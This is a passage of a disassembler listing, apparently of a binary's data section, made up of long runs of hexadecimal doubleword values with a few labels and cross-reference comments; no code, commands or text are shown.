0BCE9CE0h dd 4311A616h, 0D03578D9h, 89025A80h, 78D3E6D7h, 58EB51B9h dd 0A48800C3h, 0DC1C3A01h, 112D64ADh, 501018D9h, 0EF880029h dd 0ED562773h, 874CB899h, 205C421Ch, 0F58200ACh, 4578BE77h dd 2B029752h, 1A1F7FECh, 9A6840C1h, 0B50F10DBh, 6B3E0056h dd 582F7AD2h, 0DCA5003Ah, 3F96CD05h, 2500774Ch, 0CCEF0783h dd 7E22CAh, 5E1ABAA6h, 4F562B41h, 1E037C99h, 0D075D7CBh dd 0F28F991Dh, 581425A2h, 7CAF80AFh, 0CB73BD40h, 87076204h dd 0FACFCC95h, 0AAC968A0h, 892D0ABBh, 279066C6h, 74094410h dd 5BF85000h, 0A5A90ED7h, 78EBF224h, 0EE1003BCh, 230180BFh dd 884774DFh, 3F79FE30h, 0B5513700h, 0C8E3048h, 0BB67381Bh dd 12226301h, 0D4A5E276h, 0CA78EFF2h, 9E01302h, 0F669AF93h dd 1A4D80ECh, 0AC104FD4h, 922B7F00h, 6C45E2D0h, 0E9E8043Ch dd 0A891A4EAh, 57A58318h, 0CE2FA8FCh, 18F802EBh, 24CFC4B0h dd 0C9009051h, 74C4506h, 4E09003Ch, 2E7476B7h, 1A030A2Fh dd 0E54F9D22h, 81C94A80h, 3C8B1688h, 0F4AB80B8h, 0E6F7C4A1h dd 98080D77h, 211C1FF5h, 7E56C931h, 0B7FAD820h, 442A069Ah dd 0A95FD255h, 21EA5630h, 39B117h, 98CE1B24h, 0F6A358B6h dd 100377F0h, 67761699h, 0F420DD02h, 247C7EE7h, 4381AD1h dd 0CC869DADh, 0A616C4CCh, 0B0001037h, 323BCF95h, 0A9990FA5h dd 2066C69h, 0D4848130h, 2CD47300h, 0A08D90CCh, 0D75A00D3h dd 8879782Ah, 0F400F5B0h, 7223EE3Bh, 5AA9F9ADh, 3FC08CB3h dd 0EE561905h, 26C2E220h, 947A53h, 0F492C093h, 2BF1D97Bh dd 90739E25h, 659D7Ch, 4A3D1395h, 19C31730h, 0CEB1E800h dd 0E1FD2E53h, 90B74C36h, 390C9824h, 0F40441A7h, 0EB0AD72h dd 20CA3D8Ah, 69941DDEh, 4009824h, 35182A7Ah, 9334D042h dd 6CB03946h, 5022D490h, 98CB0EAh, 48DE1A1Ch, 0B11648A0h dd 0BC9C7DEEh, 0E042AD40h, 832F35F1h, 0FBBA8030h, 10003CBBh dd 11BD7875h, 0A76BDDh, 0D37490B2h, 5CBBC9AFh, 0E244158h dd 0F7796686h, 24CBC806h, 3CC00168h, 0D6251A9Ch, 48C0145Fh dd 0B47EB138h, 1C84A34h, 3B4ECC55h, 806C3874h, 0C4CDF9Dh dd 44E400F7h, 0EF8009B9h, 2E0036F4h, 6D410E7h, 693898h dd 79D0F352h, 5E354FC4h, 0D4472CBCh, 0C32BFB60h, 0E6EC91h dd 2DBD6DF0h, 0B6B427FFh, 0DE0F6E73h, 273A1B41h, 13C30205h dd 0D8A004BEh, 0BC66EB6Ah, 0A7558008h, 3ABD139Fh, 0C15E7343h dd 7E1DB734h, 91618820h, 4CF90F53h, 0A7A0DF7Eh, 1870D92Bh dd 441E3227h, 0E67ABCh, 0B43A8C3Dh, 0B2449D0Ah, 0C2809499h dd 61F5CC17h, 40C900DCh, 0FE16B442h db 14h, 86h word_544F42 dw 3B04h ; DATA XREF: ___:off_435E10o dd 0B5D106E1h, 273C5098h, 506085C4h, 0EC324F97h, 647BB987h dd 775D0070h, 0A0D36B5Eh, 1D7E5AA5h, 0C13D2703h, 0C014BE82h dd 96E489Fh, 0F6873C9Ah, 13A0F282h, 1011446h, 0F23A105Ch dd 2A4BE0h, 250F370Ch, 14B89A2Bh, 0B224AC16h, 54BCE824h dd 80FFA985h, 0F44FA63Dh, 3B110403h, 0A8BF0283h, 97547B0Dh dd 0B15A10A0h, 230089ECh, 26B532AFh, 0D6A28h, 52E03DDEh dd 0CB5BABA4h, 0FFC81400h, 98E41776h, 0B34A0F1Fh, 7980CEEBh dd 0F83ECFBh, 0B6F49300h, 0E56D2091h, 8D2303E0h, 0ED5D8EA6h dd 12042003h, 59301C5h, 900AA810h, 67AC0C4h, 8063F9B3h dd 80D34D29h, 18B6C24Eh, 19888498h, 0DD00A90Dh, 1E455F6Ch dd 7251C84Eh, 0BDA3058Ch, 80D920CBh, 89D77904h, 0C8748A3h dd 0FDE06671h, 55CE0CA0h, 0E66C8801h, 6B95CC8Fh, 0C7984D4h dd 0B19B08BCh, 0F5167E29h, 400063E5h, 0B6C81EA2h, 3B2113F6h dd 26806ADh, 0ED0028A8h, 72C10B3Dh, 18DAAA1Ah, 7903C8CAh dd 290041B3h, 3F32597Bh, 0ADFB7BAh, 9AD40F81h, 0BFE10054h dd 264CF6CCh, 0D7006872h, 0B505C8D8h, 0E8D2Fh, 358B7A8Ch dd 0F5BDCA6Dh, 21AD3C05h, 9C08BC05h, 0E49A8C88h, 1101D951h dd 6CDA18C7h, 3FF49908h, 0CB7127h, 0BCD8792Bh, 365E87FDh dd 2139B073h, 9D3075D5h, 7BCE41B3h, 0A0285078h, 742D0586h dd 0A03611h, 44928858h, 0C43C2E4Fh, 0D9C8EC1h, 0D0D4E071h dd 932CADh, 34A6F6EEh, 3FD59F03h, 0B1844903h, 0FC78C541h dd 6696E900h, 0CC391AD7h, 0C4B5001Dh, 2D16FB7Bh, 0EED3305h dd 0F0CAF828h, 0F38C40DDh, 0D0D800B6h, 0E7816274h, 3B0C5BADh dd 99861378h, 0C8AB5405h, 0EA2B009Eh, 0B10C44FFh, 0F51D4932h dd 8E0E3E60h, 8F161F91h, 1EC05100h, 2D9A312h, 7B3FE3ECh dd 0A8A28C84h, 0CB604B76h, 1A3C089Bh, 0A90380EAh, 8BF628B1h dd 8FD500FCh, 6720B568h, 9E00F71Ah, 8358AF46h, 30792D6Ch dd 0D6998EDDh, 1F1EE80Dh, 0C48F4A55h, 9B8F8148h, 8822C8BDh dd 9819AD00h, 4761FF44h, 1905C532h, 383460F2h, 1F08003Eh dd 84FDE7F9h, 13022196h, 47B10BAFh, 99B08085h, 9181A63Fh dd 500500B8h, 74892F98h, 38C8054h, 6AB7A700h, 6FB04AF3h dd 52E0049h, 0D507D01Ah, 0E03BFA9Bh, 0C0F02A3Dh, 0A7DA7100h dd 0AEF747F9h, 1B69013Bh, 40A33038h, 6FB8CCDFh, 4458BB00h dd 0C5140452h, 0D8B9C067h, 0C4E2CE05h, 422FDC00h, 34B04D7Bh dd 6021D40Dh, 66987300h, 2F9BBFD0h, 0BE308B1Dh, 4E9D2A0Eh dd 80EC74A4h, 49E20907h, 15050E0Dh, 97209477h, 0DCCE8AFCh dd 0A567317Ah, 9C7042E1h, 2448D4Ch, 2EDB9D0Dh, 36403233h dd 0A0001FD8h, 30A4D38Fh, 60057EAEh, 0E50839A9h, 1E0395ECh dd 9718D078h, 1615982Ch, 0A87F5487h, 38F70020h, 7511D876h dd 7700E3BAh, 0AFE63C31h, 0E220BF27h, 12EC9Fh, 0E8F42CC0h dd 460E51Ch, 8730A071h, 0B4E64985h, 8FB000D1h, 0DCBB22EEh dd 5499C5D4h, 5A5C1707h, 8AE4A181h, 0B0A35820h, 32A9028Fh dd 1229C12Eh, 40AD9060h, 879E7308h, 0B7768980h, 0C09F3A04h dd 0B212DA6Eh, 49092478h, 1086A1F4h, 1E2EF86Ch, 80CB6281h dd 8A6BCE21h, 6407DAA6h, 934E6A65h, 88F5F000h, 907F5474h dd 217901CEh, 48E08D6Dh, 42A4E0B0h, 21A60230h, 910A98h dd 0CD998C6Bh, 7FC4DF65h, 2CDC9500h, 0F6A69D2Bh, 58404CD3h dd 34639322h, 818278h, 0C30A1211h, 0CB32D13Bh, 36296660h dd 2CA342C4h, 9C5F8E1h, 0F8160479h, 80CCB43Eh, 90E84450h dd 520A137h, 80081C13h, 318049Bh, 0BB82C066h, 2D05EFF5h dd 42A7B849h, 9703A813h, 8E879889h, 0E0A31E91h, 903B40B4h dd 85A2498Bh, 0D3D90100h, 99F276EFh, 0D150002Eh dword_545350 dd 514BD538h, 70A44684h, 8037322Ch, 21160820h, 5008E767h ; DATA XREF: ___:off_43D394o dd 0B6D380B1h, 0C89D036Ah, 33291A61h, 3FCCB390h, 0C0C738DBh dd 0E33CD080h, 1291E0F6h, 251C81FBh, 0A6DF2FA0h, 52F5D5C8h dd 3C2E98FDh, 3B730022h, 84959217h, 0CF818AF5h, 0D81CFF25h dd 46A4AE00h, 905FA1F6h, 92F70CA6h, 7299889Ah, 7B394200h dd 821940E8h, 464E0531h, 0C03CC292h, 9F8C0ADAh, 1E122D13h dd 0C1D0EC00h, 0E8D39673h, 1546243Bh, 1C0C40ACh, 63046C7Ah dd 5C37D520h, 0A8312C81h, 908CB010h, 0F8619200h, 0DA7B37FCh dd 0BE6D0039h, 0B0356AF9h, 9812E893h, 68004C2Ah, 29CE459h dd 4E41C0A7h, 0D7A1D3F2h, 23B61B02h, 41A3E99Dh, 8A107D20h dd 66004102h, 0AA4B1E3h, 0FE1EADh, 0AEE8C2E0h, 0BC84E1C3h dd 566B017h, 609B1022h, 18880B85h, 48981403h, 0A4AA8D87h dd 0B548F580h, 8B000999h, 6A5CF00Ch, 8D61Dh, 5BD3E1B6h dd 234D79Ah, 3D004C99h, 0B7082BD2h, 0ACA304C5h, 8C01668Bh dd 7C3ABA04h, 2BB017Fh, 0E2988E4h, 9C8CC180h, 1878D0A0h dd 4E1690C8h, 3BCE00F1h, 391272C9h, 75643FBFh, 263A2Ch dd 0CD8FA9A1h, 18B09525h, 45530C00h, 39977315h, 0A38B0048h dd 829ECA3Fh, 96011BBEh, 8A114C03h, 0EB8478h, 0CB398161h dd 0CAE74E57h, 7DBB607h, 19401FF9h, 236EBF5h, 0D0B2906Fh dd 0EC608457h, 4D00FD1Ch, 7088D37h, 912BF48Fh, 0FF183A50h dd 0A08DF9EFh, 0EBD52E03h, 0C5397312h, 34F514D0h, 0FA668805h dd 2417A4B1h, 2E730405h, 3C9C8Ch, 0BD182DC5h, 0F4AD7ADCh dd 77C2D805h, 0D0CC3016h, 23591CECh, 6FBD0006h, 0BA8F9B32h dd 909A012Ch, 87AC6D08h, 0A3C08B49h, 8FF29803h, 0D5871CE3h dd 6A4818C8h, 0A0004188h, 3F9DFB1Dh, 181E14E5h, 0C0B1D58Fh dd 0DC5407B5h, 9E0075E0h, 0BA43F7D3h, 0F6132E05h, 0C454005Ah dd 0B9AB6014h, 0D34C20CDh, 1B10CF4h, 24D24A2h, 3DBDFEC9h dd 30E3B7A0h, 0B2A080B4h, 92A786Ch, 64C88FCh, 38E180C0h dd 0B988DAh, 0D4105F2Fh, 8AD4597h, 0C0D0732Eh, 31624400h dd 328978h, 1305290Ch, 382E63DEh, 941E1501h, 0E49D5AB4h dd 0ACF88FC9h, 266D7D20h, 0F907ADAh, 0C865E191h, 0D084417Ch dd 0D4C4173Ah, 8000BFFAh, 91293B63h, 9390CA5h, 7CA038Fh dd 8494D410h, 0B724F000h, 0D8B3B8C9h, 801B0058h, 2873ACBBh dd 90985239h, 0DDD12306h, 0F39B402h, 7EB043ABh, 0D5A27F01h dd 315070E8h, 684DB8A0h, 0A3BCFD00h, 88672D8Ah, 86C22624h dd 0DA3B40E0h, 3703CEFAh, 0D04E4762h, 0F7923A9Ch, 0D4873E81h dd 614DBBE2h, 0C33D0ACh, 40A1CD2Eh, 0BFE4996h, 6890C8DBh dd 0A002E2Bh, 0B75AFF25h, 4D9FEF1h, 6DBE4116h, 89648037h dd 3D003224h, 2C968546h, 0B8233B36h, 0A4A70427h, 0EB97B18Fh dd 0B89C4501h, 80FBC9C6h, 90CAB9h, 0AD13FBD2h, 0EADD783Ch dd 0C8A2F0A8h, 0C7816460h, 0A31C42h, 0A1E3CB84h, 926AD937h dd 792B7A0Ah, 8D40CCC6h, 428A64h, 478132B9h, 0D212997h dd 0CE6CF700h, 9C694384h, 2CBF482Ah, 45D5D980h, 0B970D878h dd 0C4A4100h, 48AC8ED4h, 9B3E259Dh, 0B19FC20h, 1A0E7428h dd 837BC177h, 0B08D1473h, 56DBDD6h, 35F38C39h, 0FA1C30BEh dd 180042D3h, 0E2DA2813h, 1DB387A7h, 0C09D32B8h, 0E620266Eh dd 230B02Ah, 0A282C90Ch, 0DC785C60h, 80C4A429h, 0E8F16C43h dd 5B00EECEh, 56CD96B6h, 48822D77h, 9424C035h, 704F0058h dd 9CF6C125h, 21B4D102h, 667C47D0h, 0DCF23FE4h, 43A6B580h dd 0C8483153h, 0F43AB200h, 0B69839C4h, 0F27909C0h, 10993088h dd 4A52ECF6h, 6620F500h, 502CCBBAh, 32B600EFh, 0EB710536h dd 1104B523h, 2FF5A9F4h, 0DA8488C0h, 195E09CAh, 0D84059A7h dd 0FD25F48Bh, 4B88100Eh, 78457627h, 80C0996Ch, 706D6974h dd 0B700A8D9h, 0D79D7BBEh, 216619h, 3A10852Bh, 2D80AAB5h dd 0CAD48300h, 4475158Bh, 4DE5027Dh, 7EC50BCBh, 0E789D20h dd 1685009Bh, 81E9EBB0h, 0BD3A979Ah, 86F08C89h, 3E7984h dd 9284693h, 0BAAE5EEFh, 0E800A878h, 0B9CEB04Dh, 0B12C8B38h dd 1C8714B4h, 0FCC79600h, 0DD05D4C5h, 0CB8F7D09h, 3C440BBh dd 0B0D0FEA1h, 0D7200FE8h, 6782996Ch, 0C443508Dh, 629A55E1h dd 51CF00C4h, 1DEAEBF3h, 7488158Ch, 0CB27C4B1h, 0F078B022h dd 0A66AFD40h, 3A4984Ch, 0FB504CB3h, 696824A2h, 0DCE904CCh dd 990C805Dh, 7C022221h, 0B341A28Fh, 81F052E4h, 0A6137EF4h dd 31F861E6h, 0F36D2500h, 8C953F4Ah, 24B13FCCh, 0BA2E2600h dd 1E167D5Ch, 131FF500h, 4995F4A0h, 0D0126141h, 0F9975AC1h dd 0C7584426h, 510E8099h, 5E051F12h, 0A4400D7Fh, 13E4A030h dd 9F5500EFh, 99541FB2h, 8E0E4B97h, 0A4846A9Dh, 0C4CC8D25h dd 81160004h, 97868EC0h, 4B03BC19h, 0A584F59Fh, 0D445BF94h dd 38708405h, 1541B000h, 34B7AAh, 79A09FC2h, 0F6B3ADD8h dd 0C88ABA0Bh, 0EE30A132h, 50DC68F4h, 753000A6h, 5C57478Fh dd 2F029517h, 4B69BFBDh, 12C59B9h, 31EA9EFAh, 5FE2C87Fh dd 384CF00Eh, 8CAF01E1h, 0B5E89F8Dh, 0CB9008Fh, 3692D362h dd 896087A0h, 4073C841h, 82520010h, 8FD3129Ch, 5B07FD6Eh dd 0CA42032Ah, 418CFA0h, 0DEB40448h, 0E427F5B5h, 0D0076628h dd 8AF7A017h, 9A095641h, 0C50F683Dh, 1B80ABA9h, 31F0F79Dh dd 9A2208EEh, 58C0088h, 137B6C58h, 0D500571Ch, 30042089h dd 0C908EBAh, 5C8DA621h, 6C0088A9h, 0D3423F2Fh, 0FA30682Ah dd 2DFA04C3h, 0E2B6E0B4h, 973A5Ch, 0D7468C6Bh, 3C494CA5h dd 6D846E92h, 0B0D129CAh, 0F100B2F0h, 0FCB2748h, 21F95F8h dd 887A81BDh, 4848820Ah, 9D50402Ah, 621C7358h, 37C0CCD2h dd 169635D1h, 0C375FDh, 5BCAF06Fh, 5C599AA6h, 8020C558h dd 0AFA58C4Eh, 0C9A01C9Dh, 0B02B8073h, 70154CB6h, 0FE0C430Bh dd 1D84626h, 3CA3CEE7h, 6897A005h, 209D0138h, 40DCA713h dd 70D0BA45h, 965CE6A6h, 87C24174h, 0C611807Bh, 0BA2D3863h dd 43C0127Eh, 84C40047h, 669A97E6h, 2037135Bh, 0C024C01Eh dd 0F0F5C585h, 6E940154h, 5089FE22h, 80C838F7h, 0C916351Eh dd 0A27607ABh, 0CF0BC324h, 51E29A66h, 0CAF14800h, 0A895A4E7h dd 25F52CD1h, 58E14F30h, 80A62A98h, 520E870h, 1667B648h dd 3B89C3h, 2DD0C088h, 9D1495CEh, 2EF84558h, 3C891841h dd 325C54EDh, 0D8648751h, 55B01500h, 5FC78552h, 7ADB8B1h dd 40D3BF74h, 35C0BE42h, 6ACBDFA0h, 135FD14Ch, 3C32AB0Bh dd 0F48F2192h, 2106326h, 79F5E0D9h, 0B8885201h, 90D8B098h dd 3C83909Ch, 6384F776h, 0E82109BDh, 0CD4201C5h, 6A2AD67Bh dd 2E5E74F0h, 1658F6A4h, 0CB0C9231h, 46002864h, 0CEB8403Bh dd 6F2249h, 6BC879F2h, 0B463D2F4h, 4A80220h, 0A68D33BEh dd 40188CE5h, 8008C558h, 29B9AC54h, 1E9700F0h, 848A89EEh dd 0D8019680h, 7A02E970h, 7C3DC88Eh, 76CAD01h, 2C4BE006h dd 0D10580F0h, 246D281h, 0C49FE321h, 0DC799453h, 0F0FAC000h dd 0FD426E1h, 8F1B6739h, 4C3BD1C1h, 75282073h, 0B3C00509h dd 8848108Dh, 2AC9131h, 1F04E9AEh, 0B005CD1h, 0D77A980Dh dd 0CA59052Ah, 0A43288F3h, 824FA688h, 3030E452h, 0FC9E8Eh dd 0F6A6FA70h, 76CC6AC9h, 8479C8A0h, 27B83CA0h, 5AAB7203h dd 0DFE3BF2Bh, 0D8F64BF3h, 5D9BA6F9h, 2116FC56h, 2D00EB6Dh dd 94659E6Eh, 87031842h dd 6CEB497Ah, 18361000h, 0BDA116D6h, 0F250A002h, 3BDC0008h dd 0CCE0603Dh, 4B003A7Dh, 0A2224AC4h, 91F28412h, 0B400B990h dd 61161107h, 8B1628D7h, 0AA139FB6h, 562AFC90h, 0ACB50018h dd 0BBD38A82h, 4317FAFCh, 930687C3h, 0E8EF3Eh, 0D5363FF1h dd 6D33B9D4h, 52B21604h, 0A4804349h, 0E9842A1Fh, 4E9CB5F4h dd 4F8C2018h, 530161DBh, 689B63Ah, 0C83CB713h, 0ADE56903h dd 6014F198h, 48CD690h, 50237E18h, 1D7CB4h, 17BCAD01h dd 5D978A5Eh, 8B33D709h, 0DEF41027h, 2838BACFh, 1C0535h dd 9EE9C5C0h, 4A5E0A1Dh, 2B29060Fh, 90160012h, 1E6A5524h dd 4ABCFD49h, 80981E9Ah, 0AFC8B5E9h, 4E007DADh, 3D5EF018h dd 259D9A8h, 0AA134B7Ah, 6059157Ch, 19396A00h, 1D31C7DBh dd 83D9031Ch, 7BC8F7FFh, 0DD07A100h, 69982575h, 0D2E90094h dd 2E7C7F01h, 0EB026D36h, 0E66414E2h, 7C6486h, 2EE10E2Bh dd 0D8FF6BF4h, 2F3F2A7Dh, 7D321895h, 48D57B79h, 880509Bh dd 6FA6A11Fh, 2E2758B0h, 0F68C2315h, 50EE0E0Ah, 11E076E9h dd 1659779h, 48B1D018h, 55AA08h, 0A4725C33h, 0F62A09E2h dd 0E3F9EA1Ch, 0EDE14000h, 6059D38Eh, 580E3991h, 49E21632h dd 5C792900h, 4D88384Fh, 0C13000E4h, 0A3408CEDh, 1909BE28h dd 38F7A11h, 0B92417DBh, 498C8857h, 0F1819BB2h, 0FA624300h dd 978D99D7h, 382D0073h, 7DA026D8h, 0AB269B98h, 3AB15Fh dd 0EF47B851h, 723BE23Ah, 0F8E11DDAh, 23EBC08Fh, 8BB96CA8h dd 1CF9170Ch, 0B8E4616Ah, 0F72A003Eh, 0C9CC5E39h, 9F605999h dd 0E5A5A889h, 0F7B3A8Eh, 96FCC080h, 0B0DC7EA9h, 9A4EDD00h dd 18F91F3Ah, 51D66Bh, 0B547A078h, 1C31E2DCh, 0FFD1944h dd 0BE650880h, 7C9D2D22h, 353B8C00h, 0E5478B20h, 95AF07A0h dd 4C5ECD81h, 6A0E7C81h, 0A5DE0821h, 4AC04737h, 0EC240987h dd 50D7608Fh, 7F401D01h, 11252E30h, 0A23B66h, 0CB99BF75h dd 0AC6AE53Dh, 0CF31E03h, 0E0E131B2h, 57F265h, 0EEE336A3h dd 5C394574h, 0A9C2AE0Bh, 0B95D0C31h, 30687E4Bh, 213EE3FBh dd 73009691h, 6B1E2465h, 484B4AB7h, 43801C58h, 0A136183Dh dd 0ECB2902h, 8093413Fh, 50A822C0h, 145900E7h, 9E53B357h dd 0CC184CA7h, 6CB9DD2Eh, 5ACD00E2h, 3257D617h, 3000BC69h dd 74432A8Ah, 1E4B6E26h, 4384DFB5h, 6D5846F0h, 1B6B7900h dd 459E1A11h, 70503110h, 20444A19h, 0F0EBDF10h, 19C19278h dd 0D18C4F60h, 0B1097986h, 92EAF141h, 80FD58h, 83473D29h dd 0F84D1C5h, 0E971FBFAh, 2A61F080h, 0A900295Fh, 0E6379AE1h dd 5C43AF85h, 3600E94Dh, 86FE8832h, 4807A1B6h, 0E49B2FC7h dd 0C2DA5501h, 40000422h, 82B4F7EDh, 0DCF077CFh, 803C5848h dd 99B50290h, 0E662E6F3h, 9EC500DBh, 9A2D66CAh, 7800E9EDh dd 61738BEh, 30AC5FA8h, 0C9590BC2h, 0B70EAB30h, 0E0F869BCh dd 0C9B2E33h, 0D821DD11h, 8FE7F9FFh, 896EF607h, 0ADC0BDFCh dd 0C00EC2E1h, 8D473E29h, 27127409h, 0A0021935h, 902930CDh dd 4D08D8h, 2F5C78ADh, 0B5E7C6BCh, 0E3BA501Ch, 0C31EF74Eh dd 0C62E4B8Eh, 5F700031h, 2C47F42h, 0BD015192h, 6A20D4Ah dd 6040FD57h, 2972947Ch, 0BCF04FCAh, 0BC734D8Ah, 918607B4h dd 0AA81303Eh, 4300A8C9h, 9EE6D30Eh, 0A5218C6h, 632DF9FFh dd 898C86E8h, 3A0F81D4h, 0C0BF0F29h, 0A5AFFBE2h, 3FA90130h dd 818C6945h, 5F2992FCh, 0F5B11427h, 0BD4BCC1h, 347E091Ah dd 3080F9E2h, 98586231h, 3F7829C0h, 0C503CAh, 9922618h dd 9B428C5Dh, 0D904E237h, 2129A981h, 5CD9B930h, 4D0AABFFh dd 8024FDE2h, 29BF5309h, 0B03BDEDAh, 0AB869ECAh, 19AF2E81h dd 0CC2216F9h, 0E248C804h, 0AFD4C817h, 5C00F8B8h, 0E73B7D18h dd 29E2950Bh, 8844EF0h, 58A4D185h, 86804910h, 8CA8334Ah dd 0E49A4700h, 7FD4D9Fh, 0E3A9018Dh, 0BF50F94Fh, 0A33420BAh dd 591CB200h, 110FE9Eh, 22B890EAh, 9B1A9463h, 80F1061Dh dd 8F4AA2BCh, 0C0C2B8E5h, 0F45C6071h, 1C1EF741h, 840A60Ch dd 0C234A235h, 3CAEF858h, 0C813BE3Fh, 882C304Ch, 0E0005E37h dd 0D9F1ABBBh, 0F2991621h, 86A800D2h, 0FFF61490h, 0A905E73Ah dd 55293B8Bh, 534090C7h, 5215E242h, 90118495h, 5C5F28DEh dd 0B309577Ah, 80DB6D30h, 0E71AE6E0h, 772D3C2Ch, 0E59AAA04h dd 0C0384F04h, 581E1C59h, 0A141C393h, 179024E9h, 0E2146F8Fh dd 1C386B29h, 0CB804740h, 22173AF5h, 81DB602Fh, 6379B572h dd 0E5ABFB0Fh, 629A099h, 60ECC740h, 0DF33AA4Ah, 0B150DB22h dd 62003E60h, 35FFC0C1h, 60C3BD15h, 0A1949912h, 6C0A119Ah dd 0DC5134D4h, 10468503h, 52A9E655h, 2B07FCB1h, 0DB9E5203h dd 4AC77380h, 80C07498h, 3FE3CE9Ch, 35A00143h, 18E275A9h dd 7E1E1094h, 2FE01F3Bh, 0FAB08C44h, 7009819h, 5E649025h dd 1C71D939h, 401EF630h, 139FEA4Eh, 2A12526Eh, 44248E47h dd 62D4F030h, 466C1D44h, 13259F3Ah, 0A0F008F6h, 0CEEFE480h dd 1EC77433h, 0C0B11088h, 0C38DE794h, 6800E80Dh, 8F571C49h dd 50E4E6AEh, 0C0D69F6Ah, 0B8EBF969h, 0AFEAA187h, 4C38C200h dd 0B0497CDFh, 34C1C04Fh, 0C4F7978Ah, 5D6FB80Fh, 43003E9Ch dd 9ACB8230h, 890F3C70h, 0E00EE283h, 0B3D1DA2Ch, 61B5F47Ah dd 0BB95C00h, 1D73ACCAh, 0DBAB0043h, 0EED42B59h, 463061B8h dd 0E36748E1h, 3ACE89Dh, 0E2EA1A02h, 50751DDAh, 6B824E00h dd 697F92B0h, 19C40099h, 0F65C8E04h, 59001364h, 0AB0BE8D6h dd 0C0B6ACF3h, 0F8935089h, 261F7A07h, 18BA3161h, 29A91768h dd 5CD138AFh, 25747D01h, 0F48B33BEh, 4D0E53FCh, 80B4D64Eh dd 9950DDF8h, 10C96049h, 2B9DE1AEh, 1545A601h, 0E4337912h dd 7C4A7180h, 0F0C3BE86h, 2D259A07h, 1EC8D03Ch, 341700F9h dd 0A0DD6495h, 0F165190Fh, 0E76DA787h, 2B1D2AE0h, 18693755h dd 738A01A1h, 0E415E168h, 2C069965h, 0EF331F2Fh, 5B30071h dd 0D1747FA6h, 15002E44h, 24417672h, 3F6C5EBDh, 0B680EAF1h dd 0D8583B63h, 0C00A48A2h, 0AC14311Eh, 35670681h, 0BA30DDA0h dd 0F8994B53h, 862039DCh, 8936F5ABh, 5AC300C1h, 0E415C0FAh dd 58004801h, 0CB766086h, 2835658Eh, 0B80D6Eh, 0B80839DBh dd 4C701940h, 0AE121003h, 1B68FEh, 91393AD9h, 0D51DE25h dd 70F93Bh, 1016DB3Bh, 29867F53h, 149C9AB8h, 0B687886Fh dd 0E7FE8054h, 0AC00F831h, 0DE04AAF3h, 12B5A2C4h, 4DA2043h dd 88B83394h, 927BE900h, 3BF7AB00h, 0F54BAEE2h, 0B5DE001Ch dd 7D2A456Fh, 1D7F83DCh, 0EF711560h, 0B79BE5h, 99D3A1A8h dd 0C99ACD3Ch, 2AE0B48h, 255DA2E3h, 0D85440DAh, 2A776F4h dd 63C8A96Eh, 61402D56h, 0B0A820D4h, 1F05BF75h, 0F7554BC9h dd 0B461DC80h, 67EC2C46h, 97DB00FFh, 7EA8F4FAh, 522CCB01h dd 1C371D5Fh, 134841BBh, 63F08045h, 96891905h, 70FFE1B3h dd 0F4487522h, 123B00A4h, 4067C8C0h, 316F09B7h, 6F876097h dd 999C100Ah, 0C800B3A7h, 6E460D2Eh, 348BD2Ah, 0B0EDCBBEh dd 20C625C6h, 0AF97631Dh, 23D59A07h, 0AE7A81FEh, 88801A69h dd 0FA81722Dh, 4D007353h, 0D29C7B70h, 0BFDB37h, 0C03ED841h dd 522D39FEh, 0A454D406h, 10013Ah, 0DC400A53h, 295FFED2h dd 7D0180EAh, 48E8EFD7h, 29803CAAh, 96A0DFD1h, 0D900FB51h dd 485F6DC1h, 3748494h, 0ACE40CCh, 0E1E05CBEh, 8F03DB7Fh dd 0D472D25Bh, 522BE158h dd 0C0074880h, 0DB7BC443h, 152F8000h, 0AA3687D0h, 0CC50064h dd 0CE7F1E78h, 0D0A2174h, 5C963F4Eh, 0A4DE8005h, 574809h dd 69C7A65Fh, 61456066h, 70BB5121h, 0AEF5A200h, 8043ADC6h dd 65B40A86h, 0E69267h, 18335601h, 0AE0F8C24h, 64BC6F03h dd 0C0C0237Dh, 0F6AF853h, 0BF7C5143h, 7731A060h, 1A00A125h dd 87B4F270h, 0EC00654h, 0A2E9783Eh, 5AD6F801h, 95A99E55h dd 86D23F80h, 0F9AF17Bh, 8B3A6228h, 0DC92D783h, 3DA589E0h dd 67EEC9C0h, 7C89B16h, 6A8D98A4h, 0CF258F76h, 79B000B0h dd 9982B95Fh, 0A5BEB207h, 90C7FC51h, 724E414Ch, 0AD7361h dd 0D5E6959Eh, 6C7DBE15h, 3A9CC401h, 2ABF5AF1h, 68A89050h dd 0DA8600D5h, 5EAA2D1h, 0DB00083Ah, 9389540Bh, 556727B5h dd 0AEC8948Ch, 0FD7F07A9h, 0A18DE618h, 20689040h, 0B772B273h dd 0B1F07400h, 59886378h, 692660C8h, 566E91AAh, 0B332FA00h dd 0D5104277h, 0BB3F1580h, 69189428h, 4E8C698Eh, 0DFEC784Eh dd 877B8D00h, 1FE8164Ah, 9F138301h, 0B2E96DC4h, 605B35D0h dd 0D9A34150h, 0FE00EDE7h, 0C690065Ah, 3143AEBDh, 1203EDDh dd 0D07AFD7Bh, 86F83623h, 48193D60h, 746FBCh, 28C5C19Bh dd 0B33EB6D9h, 0F07CC401h, 3BA55986h, 111BB050h, 0F26B1C83h dd 5CC20066h, 427A5D7Eh, 513C8C31h, 80E06BC4h, 1CA45056h dd 6E9838F9h, 0D8B93481h, 0D08EDA72h, 9BA0B4B5h, 662A3D8Ah dd 0F805808Dh, 6999FE3h, 7F0C6DC0h, 0C67A00F3h, 93208C78h dd 0E2184033h, 0A7714668h, 0F02C008Ah, 5C06B7C1h, 6206ACE3h dd 40A5D097h, 55243881h, 0B8587A80h, 7E3413C8h, 0D0884298h dd 8A0E6FAFh, 1EFF35B0h, 71205B07h, 69C603Ah, 0EC458C80h dd 60A57FE0h, 62631947h, 0E400A689h, 0D4386BF9h, 23EB107h dd 0FA05EF95h, 6AE0F87Fh, 500A76DCh, 0D8045AB0h, 20D1038Eh dd 0EF5B1388h, 4C6106B6h, 2165983Fh, 80086648h, 7961720h dd 0F8F46Ah, 71FAAC74h, 7B48FFA4h, 5D67C02h, 40877F90h dd 1FE036C4h, 0CC152B72h, 43A939A7h, 4CF8D452h, 714B0E10h dd 0BC209218h, 1D496C4Fh, 87D40D82h, 90B8402Bh, 36D561A0h dd 0FFB9441Ah, 340C8799h, 0D8217F95h, 0A4503E66h, 0AD6D99h dd 7B253CEEh, 6D09CE6h, 0A534E900h, 0DB4E785Bh, 0A0CE7786h dd 174D414Ch, 0E11BAEFh, 5980F0A4h, 0B1F15B70h, 0C34BE3Ah dd 613F6154h, 0BC8A00F7h, 0B33568A3h, 7B004BF8h, 0E2D2F921h dd 0C01D660Fh, 7E59829h, 0B400E008h, 0A6CAAE3Dh, 